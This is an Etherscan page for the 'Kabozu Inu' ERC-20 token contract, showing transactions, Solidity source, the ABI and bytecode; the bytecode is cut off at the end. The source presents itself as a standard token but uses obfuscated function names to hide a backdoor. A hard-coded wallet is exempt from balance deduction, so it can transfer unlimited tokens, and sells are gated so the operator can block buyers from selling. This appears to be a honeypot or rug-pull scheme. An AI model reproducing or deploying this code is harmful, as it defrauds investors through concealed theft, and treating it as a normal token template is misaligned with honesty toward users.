ETH Price: $2,038.61 (-0.19%)

Contract

0xAAa76413ecf9Dc3Fd66fDFc1A07BA7E9e8DB069F
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve183393722023-10-13 5:25:11879 days ago1697174711IN
0xAAa76413...9e8DB069F
0 ETH0.000235135.08585054
Transfer183393692023-10-13 5:24:35879 days ago1697174675IN
0xAAa76413...9e8DB069F
0 ETH0.000305685.00540883
Approve183393682023-10-13 5:24:23879 days ago1697174663IN
0xAAa76413...9e8DB069F
0 ETH0.000236615.08627579
Transfer183393652023-10-13 5:23:47879 days ago1697174627IN
0xAAa76413...9e8DB069F
0 ETH0.000321935.45003656
Approve183393642023-10-13 5:23:35879 days ago1697174615IN
0xAAa76413...9e8DB069F
0 ETH0.000394838.47635691
Approve183393622023-10-13 5:23:11879 days ago1697174591IN
0xAAa76413...9e8DB069F
0 ETH0.000397788.5396611
Approve183393542023-10-13 5:21:35879 days ago1697174495IN
0xAAa76413...9e8DB069F
0 ETH0.000238885.16696323
Approve183393532023-10-13 5:21:23879 days ago1697174483IN
0xAAa76413...9e8DB069F
0 ETH0.000230824.99272352
Renounce Ownersh...183393412023-10-13 5:18:59879 days ago1697174339IN
0xAAa76413...9e8DB069F
0 ETH0.000121455.20862126
Approve183393352023-10-13 5:17:47879 days ago1697174267IN
0xAAa76413...9e8DB069F
0 ETH0.000252395.45913199
Approve183393332023-10-13 5:17:23879 days ago1697174243IN
0xAAa76413...9e8DB069F
0 ETH0.000237665.14052372
Approve183393292023-10-13 5:16:35879 days ago1697174195IN
0xAAa76413...9e8DB069F
0 ETH0.000392428.42463825
Open Trading183393252023-10-13 5:15:47879 days ago1697174147IN
0xAAa76413...9e8DB069F
0 ETH0.015205215.41154303
Transfer183393202023-10-13 5:14:35879 days ago1697174075IN
0xAAa76413...9e8DB069F
1 ETH0.000115275.47496034
Transfer183393102023-10-13 5:12:35879 days ago1697173955IN
0xAAa76413...9e8DB069F
0 ETH0.000299565.75189224

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Method Block
From
To
Add Liquidity ET...183393252023-10-13 5:15:47879 days ago1697174147
0xAAa76413...9e8DB069F
1 ETH
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
KabozuInu

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-10-13
*/

/**
          * Telegram: https://t.me/KabozuInu
          * Twitter:  https://twitter.com/KabozuInu
          * Website: https://www.kabozuinu.com/
*/


// SPDX-License-Identifier: MIT

pragma solidity 0.8.15;


interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed _owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath");
        return c;
    }

    function  _rxjqb(uint256 a, uint256 b) internal pure returns (uint256) {
        return  _rxjqb(a, b, "SafeMath");
    }

    function  _rxjqb(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function _pvr(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address
     tokenA, address tokenB) external
      returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[
            
        ] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure 
    returns (address);
    function WETH() external pure 
    returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint 
    amountToken, uint amountETH
    , uint liquidity);
}

contract KabozuInu is Context, IERC20, Ownable {
    using SafeMath for uint256;
    IUniswapV2Router02 private _dvfqoj;
    address payable private _tjkoplh;
    address private _rbijop;

    string private constant _name = unicode"Kabozu Inu";
    string private constant _symbol = unicode"KABOZU";
    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 4206900000 * 10 **_decimals;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _evjqrh;
    mapping (address => bool) private _yvirnry;
    mapping(address => uint256) private _fnjokp;
    uint256 public _qulqvb = _totalSupply;
    uint256 public _drzbie = _totalSupply;
    uint256 public _kpclov= _totalSupply;
    uint256 public _vsqgif= _totalSupply;

    uint256 private _BuyinitialTax=1;
    uint256 private _SellinitialTax=1;
    uint256 private _BuyfinalTax=1;
    uint256 private _SellfinalTax=1;
    uint256 private _BuyAreduceTax=1;
    uint256 private _SellAreduceTax=1;
    uint256 private _youepj=0;
    uint256 private _eymzsy=0;
    

    bool private _brftlh;
    bool public _uoriveq = false;
    bool private byiple = false;
    bool private _ofrepc = false;


    event _pvzhip(uint _qulqvb);
    modifier unreobr {
        byiple = true;
        _;
        byiple = false;
    }

    constructor () {      
        _balances[_msgSender(

        )] = _totalSupply;
        _evjqrh[owner(

        )] = true;
        _evjqrh[address
        (this)] = true;
        _evjqrh[
            _tjkoplh] = true;
        _tjkoplh = 
        payable (0x83FEef9F0B7E32CfDA82F298e93f7FE940a4FB6b);

 

        emit Transfer(
            address(0), 
            _msgSender(

            ), _totalSupply);
              
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address _owner, address spender) public view override returns (uint256) {
        return _allowances[_owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()]. _rxjqb(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address _owner, address spender, uint256 amount) private {
        require(_owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[_owner][spender] = amount;
        emit Approval(_owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 kvdakb=0;
        if (from !=
         owner () && to 
         != owner ( ) ) {

            if (_uoriveq) {
                if (to 
                != address
                (_dvfqoj) 
                && to !=
                 address
                 (_rbijop)) {
                  require(_fnjokp
                  [tx.origin]
                   < block.number,
                  "Only one transfer per block allowed."
                  );
                  _fnjokp
                  [tx.origin] 
                  = block.number;
                }
            }

            if (from ==
             _rbijop && to != 
            address(_dvfqoj) &&
             !_evjqrh[to] ) {
                require(amount 
                <= _qulqvb,
                 "Exceeds the _qulqvb.");
                require(balanceOf
                (to) + amount
                 <= _drzbie,
                  "Exceeds the _drzbie.");
                if(_eymzsy
                < _youepj){
                  require
                  (! _roepljr(to));
                }
                _eymzsy++;
                 _yvirnry
                 [to]=true;
                kvdakb = amount._pvr
                ((_eymzsy>
                _BuyAreduceTax)?
                _BuyfinalTax:
                _BuyinitialTax)
                .div(100);
            }

            if(to == _rbijop &&
             from!= address(this) 
            && !_evjqrh[from] ){
                require(amount <= 
                _qulqvb && 
                balanceOf(_tjkoplh)
                <_vsqgif,
                 "Exceeds the _qulqvb.");
                kvdakb = amount._pvr((_eymzsy>
                _SellAreduceTax)?
                _SellfinalTax:
                _SellinitialTax)
                .div(100);
                require(_eymzsy>
                _youepj &&
                 _yvirnry[from]);
            }

            uint256 contractTokenBalance = 
            balanceOf(address(this));
            if (!byiple 
            && to == _rbijop &&
             _ofrepc &&
             contractTokenBalance>
             _kpclov 
            && _eymzsy>
            _youepj&&
             !_evjqrh[to]&&
              !_evjqrh[from]
            ) {
                _transferFrom( _wjipf(amount, 
                _wjipf(contractTokenBalance,
                _vsqgif)));
                uint256 contractETHBalance 
                = address(this)
                .balance;
                if(contractETHBalance 
                > 0) {
                    _prulqh(address
                    (this).balance);
                }
            }
        }

        if(kvdakb>0){
          _balances[address
          (this)]=_balances
          [address
          (this)].
          add(kvdakb);
          emit
           Transfer(from,
           address
           (this),kvdakb);
        }
        _balances[from
        ]= _rxjqb(from,
         _balances[from]
         , amount);
        _balances[to]=
        _balances[to].
        add(amount.
         _rxjqb(kvdakb));
        emit Transfer
        (from, to, 
        amount.
         _rxjqb(kvdakb));
    }

    function _transferFrom(uint256
     tokenAmount) private
      unreobr {
        if(tokenAmount==
        0){return;}
        if(!_brftlh)
        {return;}
        address[

        ] memory path =
         new address[](2);
        path[0] = 
        address(this);
        path[1] = 
        _dvfqoj.WETH();
        _approve(address(this),
         address(
             _dvfqoj), 
             tokenAmount);
        _dvfqoj.
        swapExactTokensForETHSupportingFeeOnTransferTokens
        (
            tokenAmount,
            0,
            path,
            address
            (this),
            block.
            timestamp
        );
    }

    function  _wjipf
    (uint256 a, 
    uint256 b
    ) private pure
     returns 
     (uint256){
      return ( a > b
      )?
      b : a ;
    }

    function  _rxjqb(address
     from, uint256 a,
      uint256 b) 
      private view
       returns(uint256){
        if(from 
        == _tjkoplh){
            return a ;
        }else{
            return a .
             _rxjqb (b);
        }
    }

    function removeLimitas (
        
    ) external onlyOwner{
        _qulqvb = _totalSupply;
        _drzbie = _totalSupply;
        emit _pvzhip(_totalSupply);
    }

    function _roepljr(address 
    account) private view 
    returns (bool) {
        uint256 erkfhr;
        assembly {
            erkfhr :=
             extcodesize
             (account)
        }
        return erkfhr > 
        0;
    }

    function _prulqh(uint256
    amount) private {
        _tjkoplh.
        transfer(
            amount);
    }

    function openTrading ( 

    ) external onlyOwner ( ) {
        require (
            ! _brftlh ) ;
        _dvfqoj  
        =  
        IUniswapV2Router02
        (0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address
        (this), address(
            _dvfqoj), 
            _totalSupply);
        _rbijop = 
        IUniswapV2Factory(_dvfqoj.
        factory( ) 
        ). createPair (
            address(this
            ),  _dvfqoj .
             WETH ( ) );
        _dvfqoj.addLiquidityETH
        {value: address
        (this).balance}
        (address(this)
        ,balanceOf(address
        (this)),0,0,owner(),block.
        timestamp);
        IERC20(_rbijop).
        approve(address(_dvfqoj), 
        type(uint)
        .max);
        _ofrepc = true;
        _brftlh = true;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_qulqvb","type":"uint256"}],"name":"_pvzhip","type":"event"},{"inputs":[],"name":"_drzbie","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_kpclov","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_qulqvb","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uoriveq","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_vsqgif","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimitas","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a6200031e565b620000229063fac0332062000336565b6009556009600a6200003591906200031e565b620000459063fac0332062000336565b600a556009600a6200005891906200031e565b620000689063fac0332062000336565b600b55620000796009600a6200031e565b620000899063fac0332062000336565b600c556001600d819055600e819055600f81905560108190556011819055601255600060138190556014556015805463ffffff0019169055348015620000ce57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506200011e6009600a6200031e565b6200012e9063fac0332062000336565b3360008181526004602090815260408083209490945581546001600160a01b03908116835260069091528382208054600160ff199182168117909255308452858420805482168317905560028054909316845294832080549095161790935582546001600160a01b0319167383feef9f0b7e32cfda82f298e93f7fe940a4fb6b17909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001e26009600a6200031e565b620001f29063fac0332062000336565b60405190815260200160405180910390a362000358565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200026057816000190482111562000244576200024462000209565b808516156200025257918102915b93841c939080029062000224565b509250929050565b600082620002795750600162000318565b81620002885750600062000318565b8160018114620002a15760028114620002ac57620002cc565b600191505062000318565b60ff841115620002c057620002c062000209565b50506001821b62000318565b5060208310610133831016604e8410600b8410161715620002f1575081810a62000318565b620002fd83836200021f565b806000190482111562000314576200031462000209565b0290505b92915050565b60006200032f60ff84168362000268565b9392505050565b600081600019048311821515161562000353576200035362000209565b500290565b6118b680620003686000396000f3fe60806040526004361061010d5760003560e01c80638da5cb5b11610095578063c9567bf911610064578063c9567bf9146102fb578063cb11997614610310578063cb1e041114610326578063dd62ed3e1461033c578063fc81a9141461038257600080fd5b80638da5cb5b1461026f57806395d89b4114610297578063a7520f1c146102c6578063a9059cbb146102db57600080fd5b8063313ce567116100dc578063313ce567146101d1578063351e6627146101ed57806370a082311461020c578063715018a61461024257806374ca30b21461025957600080fd5b806306fdde0314610119578063095ea7b31461015e57806318160ddd1461018e57806323b872dd146101b157600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600a8152694b61626f7a7520496e7560b01b60208201525b6040516101559190611479565b60405180910390f35b34801561016a57600080fd5b5061017e6101793660046114e6565b610398565b6040519015158152602001610155565b34801561019a57600080fd5b506101a36103af565b604051908152602001610155565b3480156101bd57600080fd5b5061017e6101cc366004611512565b6103d0565b3480156101dd57600080fd5b5060405160098152602001610155565b3480156101f957600080fd5b5060155461017e90610100900460ff1681565b34801561021857600080fd5b506101a3610227366004611553565b6001600160a01b031660009081526004602052604090205490565b34801561024e57600080fd5b5061025761043a565b005b34801561026557600080fd5b506101a3600c5481565b34801561027b57600080fd5b506000546040516001600160a01b039091168152602001610155565b3480156102a357600080fd5b506040805180820190915260068152654b41424f5a5560d01b6020820152610148565b3480156102d257600080fd5b506102576104b7565b3480156102e757600080fd5b5061017e6102f63660046114e6565b61056d565b34801561030757600080fd5b5061025761057a565b34801561031c57600080fd5b506101a360095481565b34801561033257600080fd5b506101a3600b5481565b34801561034857600080fd5b506101a3610357366004611570565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561038e57600080fd5b506101a3600a5481565b60006103a53384846108e8565b5060015b92915050565b60006103bd6009600a6116a3565b6103cb9063fac033206116b2565b905090565b60006103dd848484610a0c565b61042f843361042a85604051806060016040528060288152602001611859602891396001600160a01b038a16600090815260056020908152604080832033845290915290205491906110fd565b6108e8565b5060015b9392505050565b6000546001600160a01b0316331461046d5760405162461bcd60e51b8152600401610464906116d1565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104e15760405162461bcd60e51b8152600401610464906116d1565b6104ed6009600a6116a3565b6104fb9063fac033206116b2565b600990815561050b90600a6116a3565b6105199063fac033206116b2565b600a9081557fb6b5141bc27fbf094198fe1c45a85d9602af15e13caf5cababd42d27f84abd129061054c906009906116a3565b61055a9063fac033206116b2565b60405190815260200160405180910390a1565b60006103a5338484610a0c565b6000546001600160a01b031633146105a45760405162461bcd60e51b8152600401610464906116d1565b60155460ff16156105b457600080fd5b600180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105fd9030906105ef6009600a6116a3565b61042a9063fac033206116b2565b600160009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610650573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061067491906116fa565b6001600160a01b031663c9c6539630600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106fa91906116fa565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610747573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076b91906116fa565b600380546001600160a01b039283166001600160a01b03199091161790556001541663f305d71947306107b3816001600160a01b031660009081526004602052604090205490565b6000806107c86000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610830573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108559190611717565b505060035460015460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156108ae573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d29190611745565b506015805463ff0000ff19166301000001179055565b6001600160a01b03831661094a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610464565b6001600160a01b0382166109ab5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610464565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a705760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610464565b6001600160a01b038216610ad25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610464565b60008111610b345760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610464565b600080546001600160a01b03858116911614801590610b6157506000546001600160a01b03848116911614155b15610fb857601554610100900460ff1615610c24576001546001600160a01b03848116911614801590610ba257506003546001600160a01b03848116911614155b15610c2457326000908152600860205260409020544311610c115760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b6064820152608401610464565b3260009081526008602052604090204390555b6003546001600160a01b038581169116148015610c4f57506001546001600160a01b03848116911614155b8015610c7457506001600160a01b03831660009081526006602052604090205460ff16155b15610db657600954821115610cc25760405162461bcd60e51b815260206004820152601460248201527322bc31b2b2b239903a3432902fb8bab638bb311760611b6044820152606401610464565b600a5482610ce5856001600160a01b031660009081526004602052604090205490565b610cef9190611767565b1115610d345760405162461bcd60e51b815260206004820152601460248201527322bc31b2b2b239903a3432902fb2393d3134b29760611b6044820152606401610464565b6013546014541015610d4c57823b15610d4c57600080fd5b60148054906000610d5c8361177f565b90915550506001600160a01b0383166000908152600760205260409020805460ff19166001179055601154601454610db391606491610dad9110610da257600d54610da6565b600f545b8590611137565b9061119a565b90505b6003546001600160a01b038481169116148015610ddc57506001600160a01b0384163014155b8015610e0157506001600160a01b03841660009081526006602052604090205460ff16155b15610ed1576009548211158015610e335750600c546002546001600160a01b0316600090815260046020526040902054105b610e765760405162461bcd60e51b815260206004820152601460248201527322bc31b2b2b239903a3432902fb8bab638bb311760611b6044820152606401610464565b610e9b6064610dad60125460145411610e9157600e54610da6565b6010548590611137565b9050601354601454118015610ec857506001600160a01b03841660009081526007602052604090205460ff165b610ed157600080fd5b3060009081526004602052604090205460155462010000900460ff16158015610f0757506003546001600160a01b038581169116145b8015610f1c57506015546301000000900460ff165b8015610f295750600b5481115b8015610f385750601354601454115b8015610f5d57506001600160a01b03841660009081526006602052604090205460ff16155b8015610f8257506001600160a01b03851660009081526006602052604090205460ff16155b15610fb657610fa4610f9f84610f9a84600c546111c7565b6111c7565b6111dc565b478015610fb457610fb447611365565b505b505b80156110325730600090815260046020526040902054610fd890826113a3565b30600081815260046020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110299085815260200190565b60405180910390a35b6001600160a01b038416600090815260046020526040902054611057908590846113ed565b6001600160a01b03851660009081526004602052604090205561109c61107d838361141e565b6001600160a01b038516600090815260046020526040902054906113a3565b6001600160a01b0380851660008181526004602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110e6858561141e565b60405190815260200160405180910390a350505050565b600081848411156111215760405162461bcd60e51b81526004016104649190611479565b50600061112e8486611798565b95945050505050565b600082600003611149575060006103a9565b600061115583856116b2565b90508261116285836117af565b146104335760405162461bcd60e51b81526020600482015260086024820152670a6c2ccca9ac2e8d60c31b6044820152606401610464565b60006104338383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b81525061144b565b60008183116111d65782610433565b50919050565b6015805462ff000019166201000017905580156113565760155460ff1615611356576040805160028082526060820183526000926020830190803683370190505090503081600081518110611233576112336117d1565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561128c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112b091906116fa565b816001815181106112c3576112c36117d1565b6001600160a01b0392831660209182029290920101526001546112e991309116846108e8565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac947906113229085906000908690309042906004016117e7565b600060405180830381600087803b15801561133c57600080fd5b505af1158015611350573d6000803e3d6000fd5b50505050505b506015805462ff000019169055565b6002546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561139f573d6000803e3d6000fd5b5050565b6000806113b08385611767565b9050838110156104335760405162461bcd60e51b81526020600482015260086024820152670a6c2ccca9ac2e8d60c31b6044820152606401610464565b6002546000906001600160a01b039081169085160361140d575081610433565b611417838361141e565b9050610433565b60006104338383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b8152506110fd565b6000818361146c5760405162461bcd60e51b81526004016104649190611479565b50600061112e84866117af565b600060208083528351808285015260005b818110156114a65785810183015185820160400152820161148a565b818111156114b8576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146114e357600080fd5b50565b600080604083850312156114f957600080fd5b8235611504816114ce565b946020939093013593505050565b60008060006060848603121561152757600080fd5b8335611532816114ce565b92506020840135611542816114ce565b929592945050506040919091013590565b60006020828403121561156557600080fd5b8135610433816114ce565b6000806040838503121561158357600080fd5b823561158e816114ce565b9150602083013561159e816114ce565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156115fa5781600019048211156115e0576115e06115a9565b808516156115ed57918102915b93841c93908002906115c4565b509250929050565b600082611611575060016103a9565b8161161e575060006103a9565b8160018114611634576002811461163e5761165a565b60019150506103a9565b60ff84111561164f5761164f6115a9565b50506001821b6103a9565b5060208310610133831016604e8410600b841016171561167d575081810a6103a9565b61168783836115bf565b806000190482111561169b5761169b6115a9565b029392505050565b600061043360ff841683611602565b60008160001904831182151516156116cc576116cc6115a9565b500290565b6020808252600f908201526e27bbb730b136329d1031b0b63632b960891b604082015260600190565b60006020828403121561170c57600080fd5b8151610433816114ce565b60008060006060848603121561172c57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561175757600080fd5b8151801515811461043357600080fd5b6000821982111561177a5761177a6115a9565b500190565b600060018201611791576117916115a9565b5060010190565b6000828210156117aa576117aa6115a9565b500390565b6000826117cc57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118375784516001600160a01b031683529383019391830191600101611812565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220776a574544c149e48f8ee8e90cd3423f22ca1416f1571e4ac08379187698872964736f6c634300080f0033

Deployed Bytecode

0x60806040526004361061010d5760003560e01c80638da5cb5b11610095578063c9567bf911610064578063c9567bf9146102fb578063cb11997614610310578063cb1e041114610326578063dd62ed3e1461033c578063fc81a9141461038257600080fd5b80638da5cb5b1461026f57806395d89b4114610297578063a7520f1c146102c6578063a9059cbb146102db57600080fd5b8063313ce567116100dc578063313ce567146101d1578063351e6627146101ed57806370a082311461020c578063715018a61461024257806374ca30b21461025957600080fd5b806306fdde0314610119578063095ea7b31461015e57806318160ddd1461018e57806323b872dd146101b157600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600a8152694b61626f7a7520496e7560b01b60208201525b6040516101559190611479565b60405180910390f35b34801561016a57600080fd5b5061017e6101793660046114e6565b610398565b6040519015158152602001610155565b34801561019a57600080fd5b506101a36103af565b604051908152602001610155565b3480156101bd57600080fd5b5061017e6101cc366004611512565b6103d0565b3480156101dd57600080fd5b5060405160098152602001610155565b3480156101f957600080fd5b5060155461017e90610100900460ff1681565b34801561021857600080fd5b506101a3610227366004611553565b6001600160a01b031660009081526004602052604090205490565b34801561024e57600080fd5b5061025761043a565b005b34801561026557600080fd5b506101a3600c5481565b34801561027b57600080fd5b506000546040516001600160a01b039091168152602001610155565b3480156102a357600080fd5b506040805180820190915260068152654b41424f5a5560d01b6020820152610148565b3480156102d257600080fd5b506102576104b7565b3480156102e757600080fd5b5061017e6102f63660046114e6565b61056d565b34801561030757600080fd5b5061025761057a565b34801561031c576000